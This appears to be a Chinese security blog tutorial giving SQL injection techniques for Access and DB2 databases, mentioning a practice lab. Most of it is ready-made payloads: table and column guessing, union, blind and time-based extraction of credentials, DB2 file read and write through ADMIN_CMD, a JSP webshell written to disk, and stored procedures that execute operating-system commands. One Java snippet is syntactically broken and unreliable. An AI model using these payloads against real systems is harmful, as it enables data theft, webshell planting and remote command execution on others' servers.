前言
接着前面讲诉的两种数据库,这篇包含的也是两个数据的注入姿势,分别是Access和DB2这两个数据库的sql注入方法
Access
基础
- access数据库没有记录表明和列名的表,所以我们需要暴力猜解表名和列名
- 没有注释符
- 以
.mdb
后缀命名,一个文件就是一个库
判断方式
- 使用单引号进行报错
- 逻辑型
and 1=1 and 1=2
报错 - 变量做运算
-
select * from user where id=105-1
与select * from user where id=104
返回相同的页面,则说明可能有注入点
常见的表和列
- 常见的表名
admin admins admin_user admin_usr admin_msg admin_login user username manager msg_user msg_login useradmin product、news、usr、system、article、customer、area、a_admin、x_admin、m_admin、adminuser、adminstrator
# 同样可以根据公司的缩写加上admin之类的 - 常见的列名
admin admin_user username password passwd pass pwd users usr user_login user_name login_name name admin_id admin_name admin_password
联合查询法
因为数据库的特性,我们需要猜解表名和列名
判断注入点和猜解字段数和之前的数据库没有区别
同样的方法判断字段数
- 猜解表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
# 猜表名并记录回显位(报错说明表名不存在,将admin换成别的继续猜)
通过是否有回显来判断是否存在对应的表名进行猜解
* 如果存在回显位,就将回显位替换成需要猜解的列名
union select 1,2,id,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
# 发现会有回显说明则猜测为正确,
同样,在猜解列名的时候也是通过是否有回显进行猜解
* 最后就能通过上面得到的表名和列名获取数据
逐字猜解法
这里就不通过 union select
关键词进行表名/列名的猜解,转而使用 exists
关键词进行判断
- 猜解表名
and exists (select * from admin)
这种方法主要是看页面是否错误来判断猜解的表名是否正确
* 猜解列名
and exists (select username from admin)
之后就需要查询数据,这里我们使用两个步骤
- 确定数据长度
-
确定数据ascii值
-
使用len()函数确定长度
and (select top 1 len(username) from admin)=5
# username 的长度=5,正常则=5,也可以用>,<号去判断
* 将数据进行拆分获取对应的ascii值
and (select top 1 asc(mid(username, 1, 1))from admin)=97
# 判断第一位
之后按照类似的规则进行位置的偏移和嵌套获取数据
这里主要是将数据进行分割,之后一位一位的判断数据值
偏移注入法
当我们只知道表名不知道列名的时候
- 首先是常规的判断注入点,判断字段数
- 假设字段数为22,我们使用
*
来进行占位操作,一直到回显正常
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
# 这里就说明了admin表有 22-16=6个字段
靶场的字段数是4,我们使用 *
进行占位
很明显可以通过上图判断admin表有3个字段,因为2,3是回显位,所以图中回显了id和username的值
* 之后我们再次减去同样的字段数(因为有两个表存在,就是双倍的字段数)
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
* 当然如果上面没有回显位,就继续减少相应字段数
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
DB2
基础
特性
- 同样有着类似于
information_schema.tables
等系统表,比如说syscat.tables``syscat.columns``sysibm.tables``sysibm.columns``sysibm.sysdummy1
这些为DB2中的系统表,存放着系统相关的信息
可以进行日期的获取 / 服务器名称的获取
同样可以得到当前数据库和执行简单运算
2. 使用 substr
函数进行字符串的切割,存在有 chr ascii
等函数,还可以进行类型转换 cast('123' as integer)
,至于字符链接的方法除了可以使用 ||
同样可以使用 concat
进行连接
3. 存在比特操作 and / or / not / xor
?id=-1 union select 1,bitand(1,0),3,4 from syscat.tables--+
getshell
读取文件
DB2使用IMPORT命令从文件中读取内容并插入到数据库表中,使用方法:
IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT
上述命令运行后即可将C:\Windows\win.ini的内容插入到表CONTENT中
DB2的ADMIN_CMD存储过程用于执行DB2命令行(CLP)命令,其schema为SYSPROC,从8.2.2版本开始引入
调用存储过程使用CALL ADMIN_CMD('xx');
读取文件内容
CALL ADMIN_CMD('IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT');
经参考文章中测试(DB2 V9.5)数据库普通用户默认具有调用ADMIN_CMD存储过程的权限,远程连接数据库的用户可以首先创建一个表(或对已存在的IMPORT命令涉及的表有INSERT和SELECT权限)
调用ADMIN_CMD存储过程运行IMPORT命令
CALL SYSPROC.ADMIN_CMD('IMPORT FROM /tmp/xx OF DEL INSERT INTO MYTABLE');
写入文件
DB2的EXPORT命令用于将数据库中的内容导入到文件中
运行命令
CALL SYSPROC.ADMIN_CMD ('EXPORT TO /tmp/xx OF DEL MODIFIED BY NOCHARDEL SELECT * FROM VOTENAME');
向操作系统写入包含某些字符串的文件
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''My Content'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
直接使用类似方法写入jsp shell
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.jsp OF DEL MODIFIED BY NOCHARDEL SELECT ''<%if(request.getParameter("f")!=null){(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("c").getBytes());response.getWriter().print("[OK]");}%>'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
通过EXPORT向文件写入自定义字符串内容时SELECT的表中必须至少有一条记录否则写入内容为空
执行操作系统命令
需要具有创建存储过程的权限,连接数据库后创建一个可以执行操作系统命令的存储过程并调用
Windows:
```
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME 'c:\windows\system32\msvcrt!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
CALL db2_cmd_exec ('whoami /all > C:\whoami.log')
```
Linux:
```
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
call db2_cmd_exec ('whoami > /tmp/whoami.log')
```
又或者具有数据库操作权限
```
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{ java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A");return s.hasNext() ? s.next() : ""; }$$;
调用命令
CALL SHELLEXEC('ping www.baidu.com');
```
联合查询注入
- 同样进行注入点判断,确定字段数,判断回显位
2. 进行信息收集
## 获取数据库版本号
?id=-1%20union%20select%201,(select%20service_level%20from%20table(sysproc.env_get_inst_info())%20as%20instanceinfo),3,4%20from%20syscat.tables--+
## 获取当前用户
SELECT user FROM sysibm.sysdummy1
SELECT session_user FROM sysibm.sysdummy1
SELECT system_user FROM sysibm.sysdummy1
## 获取数据库用户
SELECT distinct(authid) FROM sysibmadm.privileges
SELECT distinct(grantee) FROM sysibm.systabauth
## 获取数据库表的权限
SELECT * FROM syscat.tabauth
## 获取当前用户的权限
SELECT * FROM syscat.tabauth where grantee = current user
## 列出数据库中DBA账户
SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y'
3. 获取数据库名
?id=-1 union select 1,current schema,3*3,4 from sysibm.tables--+
4. 获取表名
?id=-1 union select 1,tabname,3,4 from syscat.tables where tabschema=current schema limit 1,1--+
这里获取其余的表名就需要通过分页符 limit
来逐页读取
当然,值得注意的是,这里使用的系统表仍然可以使用其他组合的系统表,比如:syscat.columns
5. 获取列名
?id=-1 union select 1,tabname,colname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 2,1--+
6. 获取数据
接下来获取字段数据,就更简单了,知道了列名和表名,直接查询
?id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1--+
布尔盲注
在基础部分讲到了关于字符的分割,拼接,转换之类的函数,我们可以结合以上函数,通过判断回显的差异进行布尔盲注
- 使用substr分割
?id=1 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68--+
2. 同样可以结合条件语句进行明确的回显判断
延时注入
- 可以通过count(*)的方式造成延时
?id=1 and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68
如果满足用户名的第一个字符的ascii值为68,就会造成延时
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论